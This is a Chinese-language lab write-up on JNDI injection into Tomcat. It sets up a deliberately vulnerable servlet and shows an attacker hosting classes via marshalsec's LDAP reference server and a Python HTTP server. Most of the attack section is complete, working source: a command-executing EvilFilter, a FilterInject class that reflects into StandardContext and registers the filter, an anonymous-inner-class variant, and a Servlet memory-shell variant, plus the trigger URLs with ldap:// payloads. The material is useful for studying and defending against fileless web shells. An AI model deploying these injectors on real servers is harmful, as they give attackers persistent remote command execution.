原理分析 | JNDI注入内存马 —— ldap + Tomcat Filter + 无文件落地
摘要
本文记录了一次完整的JNDI注入内存马实验,从零开始搭建漏洞靶机环境,模拟攻击端通过LDAP协议远程加载恶意类,最终向目标Tomcat服务器动态注入Filter内存马实现命令执行。文章重点拆解了三个核心问题:恶意Filter对象的字节码传递方案、StandardContext的反射获取链路、以及Filter动态注册的完整流程。
前置阅读:Filter内存马原理 | JNDI与Fastjson基础
目录
什么是JNDI注入
JNDI(Java Naming and Directory Interface)是Java提供的统一命名与目录服务API,底层可以对接RMI、LDAP、DNS等协议。
核心入口类是 InitialContext,一个典型的存在漏洞的代码片段长这样:
1 2 3
| String url = request.getParameter("url"); InitialContext ctx = new InitialContext(); ctx.lookup(url);
|
lookup() 的核心逻辑:如果查找到的是一个 Reference 对象,JNDI会从Reference指定的 codebase 地址远程加载类,并自动实例化。
这个”自动实例化”就是我们的入口——只要能控制 lookup() 的参数,就能让目标服务器加载并执行我们的恶意类。
前提补充:lookup参数怎么玩
在写代码之前,先把 lookup() 这个参数的完整流程搞清楚,这里涉及到一个经典工具 marshalsec。
被攻击服务器、攻击者的LDAP服务、攻击者的HTTP服务,三者之间的完整三角关系如下:

简单说就是:
- 被攻击服务器执行
lookup("ldap://x/FilterInject"),向LDAP服务发起查询
- LDAP服务(marshalsec)返回一个
Reference 对象,Reference里告知:**”去这个HTTP地址下载class”**
- 被攻击服务器拿着地址去HTTP服务下载
FilterInject.class,下载完本地实例化,构造方法自动执行
注意这里 lookup 里写的 FilterInject 不是URL路径,而是LDAP里的一个查询key,marshalsec不在乎这个名字叫什么,统一返回同一个Reference。
marshalsec做的事情
用的这个命令:
1
| java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#FilterInject" 1099
|
marshalsec在这里扮演的角色就是那个LDAP服务,它做了两件事:
- 在1099端口起一个LDAP服务,监听请求
- 当有人来查询任意条目时,统一返回一个Reference,Reference里的codebase指向你给的HTTP地址
所以 http://127.0.0.1:8888/#FilterInject 这个参数的含义是:
1 2
| http://127.0.0.1:8888/ → HTTP服务地址(python -m http.server起的那个) #FilterInject → 要加载的类名
|
需要起的服务一共两个
1 2 3 4 5 6 7
| 第一个:python3 -m http.server 8888 作用:托管 FilterInject.class 文件 必须在 FilterInject.class 所在目录下启动
第二个:java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \ "http://127.0.0.1:8888/#FilterInject" 1099 作用:LDAP服务,负责告诉被攻击方"去哪里下载class"
|
然后触发:
1 2 3
| http://靶机/vuln?url=ldap://127.0.0.1:1099/FilterInject ↑LDAP服务地址和端口 ↑随便写,marshalsec不care这个名字 (重要的是marshalsec里配置的HTTP地址)
|
补充说明
- Reference对象的作用:JNDI协议支持返回
javax.naming.Reference 类型的对象,这个对象里可以指定一个外部URL地址,告诉JNDI客户端去那里加载类。
- 版本限制:这个攻击链需要目标服务器的JDK版本低于
8u191,Oracle在8u191之后将 com.sun.jndi.ldap.object.trustURLCodebase 默认设为 false,远程类加载就失效了,高版本需要配合反序列化链(如CC链)来绕过。
- 内存马注入原理:当服务器下载并实例化
FilterInject.class 时,类的构造方法会自动执行,利用这个特性可以在目标服务器上动态注册恶意Filter,实现内存马注入。
搭建漏洞服务端
新建一个Maven Web项目,结构如下:
1 2 3 4 5 6
| jndi_shell/ ├── src/main/java/com/vuln/ │ └── JNDIServlet.java ├── src/main/webapp/WEB-INF/ │ └── web.xml └── pom.xml
|
直接创建maven的web骨架:

pom.xml添加依赖:
1 2 3 4 5 6
| <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency>
|
创建目录和文件JNDIServlet,漏洞Servlet核心代码——关键是 url 参数完全来自用户输入,不做任何过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.vuln;
import javax.naming.InitialContext; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@WebServlet("/vuln")
public class JNDIServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { String url = req.getParameter("url"); try { InitialContext ctx = new InitialContext(); ctx.lookup(url); } catch (Exception e) { resp.getWriter().println("error: " + e.getMessage()); } } }
|
用Tomcat 9部署启动:

添加工件war exploded:

更改热加载模式:

启动后访问 http://localhost:8080/ 返回正常即环境OK。

搭建攻击端
再新建一个独立Java项目作为攻击端,这里存放所有恶意类:
1 2 3 4 5 6
| Attacker/ ├── src/main/java/com/vuln │ ├── EvilFilter.java # 恶意Filter(命令执行逻辑) │ ├── FilterInject.java # JNDI远程加载的注入类 │ └── ClassToBase64.java # 辅助工具:类→Base64字符串 └── pom.xml
|
pom.xml 引入Javassist(用于字节码操作)和Tomcat相关依赖:
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.2-GA</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.107</version> <scope>provided</scope> </dependency>
|
思路拆解
在写具体代码之前,先把整个攻击流程的障碍点想清楚。
整体目标:让被攻击服务器执行 lookup(),触发LDAP查询 → LDAP服务(marshalsec)返回Reference告知class地址 → 被攻击服务器去HTTP服务下载 FilterInject.class → 本地实例化 → 构造方法自动执行 → Filter内存马注入成功。
构造方法里需要做三件事:
- 拿到恶意Filter的对象实例
- 拿到当前Web应用的
StandardContext 对象
- 把Filter动态注册进去
逐一分析怎么实现。
问题一:恶意Filter怎么传过去
我们的目的就是把filter和注册两段代码上传到服务器。
如果按照以前学过的,把filter写成匿名内部类和注册代码放一起,可以写成一个文件。但是编译的时候会产生两个文件:FilterInject.class 和 FilterInject$EvilFilter.class,这样上传的话两个文件都要放到HTTP服务上才行。
这里可能有个疑问:需不需要调用两次 lookup?
1 2 3 4 5 6 7
| lookup("ldap://127.0.0.1:1099/FilterInject") ← 只有这一次
JVM加载FilterInject时发现依赖内部类 → 自动向HTTP服务发第二次请求要FilterInject$EvilFilter.class → 这个过程是ClassLoader自动触发的,跟lookup没关系
|
所以:
- lookup调用次数:1次
- HTTP服务被请求次数:2次
python HTTP服务日志里能看到两条GET记录,一条取 FilterInject.class,一条取 FilterInject$EvilFilter.class,RCE效果是一样的:

也有只上传一个文件的方法,就是单独写一个EvilFilter文件,把它编译后的class转换成Base64,再在FilterInject的构造方法中,注册Filter之前先把Base64还原并加载EvilFilter类。但是因为原Tomcat服务器里面是没有EvilFilter这个类的,直接加载会报错,所以需要用到 ClassLoader 的 defineClass 方法把字节码还原成 Class 对象。
这里可能会有个问题:为什么EvilFilter需要用 defineClass,为什么上传FilterInject的时候不用也能直接被加载?
其实FilterInject也用了defineClass,只不过是JDK帮你调的。EvilFilter是在FilterInject内部用到的,不会自己加载,需要自己用defineClass手动还原。
1 2 3 4 5 6 7 8 9 10 11 12 13
| FilterInject 的加载流程(JDK自动): InitialContext.lookup() → LDAP客户端收到Reference → NamingManager.getObjectInstance() → VersionHelper.loadClass() → URLClassLoader.findClass() → URLClassLoader.defineClass() ← 在这里,JDK内部自动调的 → 实例化FilterInject
EvilFilter 的加载流程(手动): 构造方法执行到一半,需要EvilFilter → 没有人帮你去下载,没有人帮你调defineClass → 只有你自己通过反射手动调
|
ClassLoader 有一个 protected 的 defineClass() 方法,入参是字节数组,可以直接把字节码还原成 Class 对象。因为是 protected,只能用反射调用。
问题二:StandardContext怎么拿
上一篇有讲过的,这里简单过一下。
要动态注册Filter,必须拿到 StandardContext(Tomcat中代表一个Web应用的核心上下文对象)。
通过调试发现,Thread.currentThread().getContextClassLoader() 在Tomcat环境下返回的是 ParallelWebappClassLoader 对象。可以发现其父类 WebappClassLoaderBase 中有一个 resources 字段,类型是 WebResourceRoot 接口,实际实例是 StandardRoot。而 StandardRoot 中有一个 context 字段,就是我们要的 StandardContext!
完整反射链:
1 2 3 4
| Thread.currentThread().getContextClassLoader() → ParallelWebappClassLoader → (父类) WebappClassLoaderBase.resources [WebResourceRoot/StandardRoot] → StandardRoot.context [StandardContext] ✓
|
实现代码:
1 2 3 4 5 6 7 8 9 10 11
| ClassLoader cl = Thread.currentThread().getContextClassLoader(); ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl;
Field resourcesField = getFieldFromHierarchy(pwcl.getClass(), "resources"); resourcesField.setAccessible(true); Object resources = resourcesField.get(pwcl);
StandardContext standardContext = extractContext(resources);
|
遍历父类查找字段的辅助方法(因为 resources 在父类中,getDeclaredField 只查当前类,所以要循环往上找):
1 2 3 4 5 6 7 8 9 10
| private static Field getFieldFromHierarchy(Class<?> clazz, String fieldName) { while (clazz != null) { try { return clazz.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null; }
|
从 StandardRoot 提取 StandardContext:
1 2 3 4 5 6 7 8 9 10 11 12
| private static StandardContext extractContext(Object resources) throws Exception { if (resources instanceof StandardRoot) { StandardRoot standardRoot = (StandardRoot) resources; Field contextField = standardRoot.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object ctx = contextField.get(standardRoot); if (ctx instanceof StandardContext) { return (StandardContext) ctx; } } return null; }
|
问题三:Filter怎么注册
这部分直接参考Filter内存马的标准注册流程,三步走:
1 2 3 4 5 6 7 8 9 10 11 12
| FilterDef filterDef = new FilterDef(); filterDef.setFilterName("shell"); filterDef.setFilter(evilFilter); filterDef.setFilterClass(evilFilter.getClass().getName());
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell"); filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef); standardContext.addFilterMap(filterMap); standardContext.filterStart();
|
完整代码实现
恶意Filter:EvilFilter.java
执行cmd参数的命令,把结果写回response(和以前学过的完全一样就不赘述了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import javax.servlet.*; import javax.servlet.http.HttpFilter; import java.io.*;
public class EvilFilter extends HttpFilter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()) ); StringBuilder sb = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { sb.append(line).append("\n"); } response.getWriter().print(sb.toString()); return; } chain.doFilter(request, response); } }
|
辅助工具:ClassToBase64.java
先把 EvilFilter.java 编译成 .class,再运行这个工具,把EvilFilter转成Base64字符串,输出的字符串复制备用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.vuln;
import javassist.ClassPool; import javassist.CtClass; import java.util.Base64;
public class ClassToBase64 { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("com.vuln.EvilFilter"); byte[] bytecode = ctClass.toBytecode(); System.out.println(Base64.getEncoder().encodeToString(bytecode)); } }
|
注入类:FilterInject.java
接下来就是读取class并还原加载,然后获取StandardContext注册Filter,再搭建JNDI的下载环境给服务器。把上面三个问题的解决方案全部整合到构造方法里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package com.vuln;
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.ParallelWebappClassLoader; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.Filter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class FilterInject {
public FilterInject() throws Exception { ClassLoader cl = Thread.currentThread().getContextClassLoader(); ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl;
Field resourcesField = getFieldFromHierarchy(pwcl.getClass(), "resources"); resourcesField.setAccessible(true); Object resources = resourcesField.get(pwcl); StandardContext standardContext = extractContext(resources);
String b64 = "yv66vgAAADQ...(此处替换为 ClassToBase64 输出的字符串)"; byte[] classBytes = Base64.getDecoder().decode(b64);
Method defineClass = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class ); defineClass.setAccessible(true); Class<?> filterClass = (Class<?>) defineClass.invoke(cl, classBytes, 0, classBytes.length); Filter evilFilter = (Filter) filterClass.getDeclaredConstructor().newInstance();
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("shell"); filterDef.setFilter(evilFilter); filterDef.setFilterClass(evilFilter.getClass().getName());
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell"); filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef); standardContext.addFilterMap(filterMap); standardContext.filterStart();
System.out.println("[+] Filter memory shell injected!"); }
private static Field getFieldFromHierarchy(Class<?> clazz, String name) { while (clazz != null) { try { return clazz.getDeclaredField(name); } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null; }
private static StandardContext extractContext(Object resources) throws Exception { if (resources instanceof StandardRoot) { StandardRoot sr = (StandardRoot) resources; Field f = sr.getClass().getDeclaredField("context"); f.setAccessible(true); Object ctx = f.get(sr); if (ctx instanceof StandardContext) return (StandardContext) ctx; } return null; } }
|
打入内存马
攻击端环境准备三件事。
这里遇到了个小问题,因为编译时写的代码包含了包名,所以HTTP服务必须严格按照包名目录结构来放class文件,才能让被攻击服务器正确加载到。(建议不要写包名)
1. 编译 FilterInject.java 得到 .class 文件
2. 用Python在classes根目录(class文件的根目录)启一个HTTP服务,让LDAP服务器能取到这个类文件:
1 2
| E:\WWW\jndi_shell_attacker\target\classes >>> python -m http.server 8888
|
3. 启动LDAP服务,指向HTTP服务的 FilterInject 类:
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#com.vuln.FilterInject" 1899
|
然后触发漏洞——访问靶机漏洞URL,url参数指向我们的LDAP服务:
1
| http://localhost:8080/vuln?url=ldap://127.0.0.1:1899/FilterInject
|
LDAP服务返回Reference,被攻击服务器向Python HTTP服务请求 FilterInject.class,Python服务日志确认类文件被成功获取(左边是python右边是marshalsec):

服务端控制台打印注入成功信息:
访问任意路径带上 cmd 参数,命令执行成功:
1
| http://localhost:8080/sfdsdf?cmd=ipconfig
|

重启Tomcat重新访问报错404,证明刚才的内存马确实是驻留在内存中的,重启之后就消失了:

匿名内部类方案
上面用的是Base64方案(只上传一个class文件),也可以直接把EvilFilter写成匿名内部类,和注册代码放在一起,这样就不需要ClassLoader.defineClass()了,代码更直观。但代价是编译后会产生两个class文件,HTTP服务上要同时放 FilterInject_2.class 和 FilterInject_2$1.class,lookup还是只调一次,JVM会自动去请求内部类的class文件。
直接给POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| package com.vuln;
import javax.servlet.*; import java.io.*; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.ParallelWebappClassLoader; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import java.lang.reflect.Field;
public class FilterInject_2 {
public FilterInject_2() throws Exception { ClassLoader cl = Thread.currentThread().getContextClassLoader(); ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl; Field resourcesField = getFieldFromHierarchy(pwcl.getClass(), "resources"); resourcesField.setAccessible(true); Object resources = resourcesField.get(pwcl); StandardContext standardContext = extractContext(resources);
Filter evilFilter = new Filter() { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { Process process = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream()) ); StringBuilder sb = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { sb.append(line).append("\n"); } response.getWriter().print(sb.toString()); return; } chain.doFilter(request, response); } };
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("shell"); filterDef.setFilter(evilFilter); filterDef.setFilterClass(evilFilter.getClass().getName());
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell"); filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef); standardContext.addFilterMap(filterMap); standardContext.filterStart();
System.out.println("[+] Filter memory shell injected!"); }
private static Field getFieldFromHierarchy(Class<?> clazz, String name) { while (clazz != null) { try { return clazz.getDeclaredField(name); } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null; }
private static StandardContext extractContext(Object resources) throws Exception { if (resources instanceof StandardRoot) { StandardRoot sr = (StandardRoot) resources; Field f = sr.getClass().getDeclaredField("context"); f.setAccessible(true); Object ctx = f.get(sr); if (ctx instanceof StandardContext) return (StandardContext) ctx; } return null; } }
|
Servlet内存马变体
思路完全一样,只是把”注册Filter”换成”注册Servlet”,再举例一个。
EvilServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package com.vuln;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream;
public class EvilServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len; while ((len = inputStream.read(buffer)) != -1) { baos.write(buffer, 0, len); } byte[] bytes = baos.toByteArray(); resp.getWriter().write(new String(bytes, "GBK")); return; } resp.getWriter().write("Servlet is running..."); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { doGet(req, resp); } }
|
ServletInject.java
StandardContext的获取方式完全不变,区别只在于注册部分——Filter用的是FilterDef+FilterMap,Servlet用的是StandardWrapper:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.vuln;
import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardWrapper; import org.apache.catalina.loader.ParallelWebappClassLoader; import org.apache.catalina.webresources.StandardRoot; import javax.servlet.Servlet; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class ServletInject {
public ServletInject() throws Exception { ClassLoader cl = Thread.currentThread().getContextClassLoader(); ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) cl; Field resourcesField = getFieldFromHierarchy(pwcl.getClass(), "resources"); resourcesField.setAccessible(true); Object resources = resourcesField.get(pwcl); StandardContext standardContext = extractContext(resources);
String b64 = "......"; byte[] classBytes = Base64.getDecoder().decode(b64);
Method defineClass = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class ); defineClass.setAccessible(true); Class<?> servletClass = (Class<?>) defineClass.invoke(cl, classBytes, 0, classBytes.length); Servlet evilServlet = (Servlet) servletClass.getDeclaredConstructor().newInstance();
StandardWrapper wrapper = new StandardWrapper(); wrapper.setName("evilServlet"); wrapper.setServlet(evilServlet); wrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evil", "evilServlet");
System.out.println("[+] Servlet memory shell injected!"); }
private static Field getFieldFromHierarchy(Class<?> clazz, String name) { while (clazz != null) { try { return clazz.getDeclaredField(name); } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } return null; }
private static StandardContext extractContext(Object resources) throws Exception { if (resources instanceof StandardRoot) { StandardRoot sr = (StandardRoot) resources; Field f = sr.getClass().getDeclaredField("context"); f.setAccessible(true); Object ctx = f.get(sr); if (ctx instanceof StandardContext) return (StandardContext) ctx; } return null; } }
|
触发后访问 http://localhost:8080/evil?cmd=ipconfig 即可执行命令:

其他内存马同理。
总结
整个JNDI注入内存马的链路:
1 2 3 4 5 6 7 8 9 10
| 控制 lookup() 参数 → marshalsec(LDAP服务)返回 Reference → 被攻击方从HTTP服务下载恶意class → JDK内部自动调用 URLClassLoader.defineClass() 加载 → 自动调用构造方法 → 反射链获取 StandardContext → 手动 defineClass 还原恶意Filter字节码 → 反射实例化 Filter 对象 → 动态注册到 StandardContext → filterStart() 激活生效
|
核心利用了两个Java特性:
- JNDI的远程类加载机制:Reference + codebase 实现远程加载任意类,JDK内部自动走完defineClass整个流程
- 构造方法自动执行:类实例化时构造函数必然触发,是恶意代码的天然入口
两种恶意Filter传递方案的对比:
|
Base64嵌入方案 |
匿名内部类方案 |
| HTTP服务文件数 |
1个 |
2个(主类+内部类) |
| lookup次数 |
1次 |
1次 |
| 代码复杂度 |
高(需要反射defineClass) |
低(直接new匿名类) |
| 原理 |
手动defineClass还原EvilFilter |
JVM自动加载内部类class |
既然Filter和Servlet都能注入,Listener、Valve、Agent内存马也同理,换对应的注册API就行,后续再写。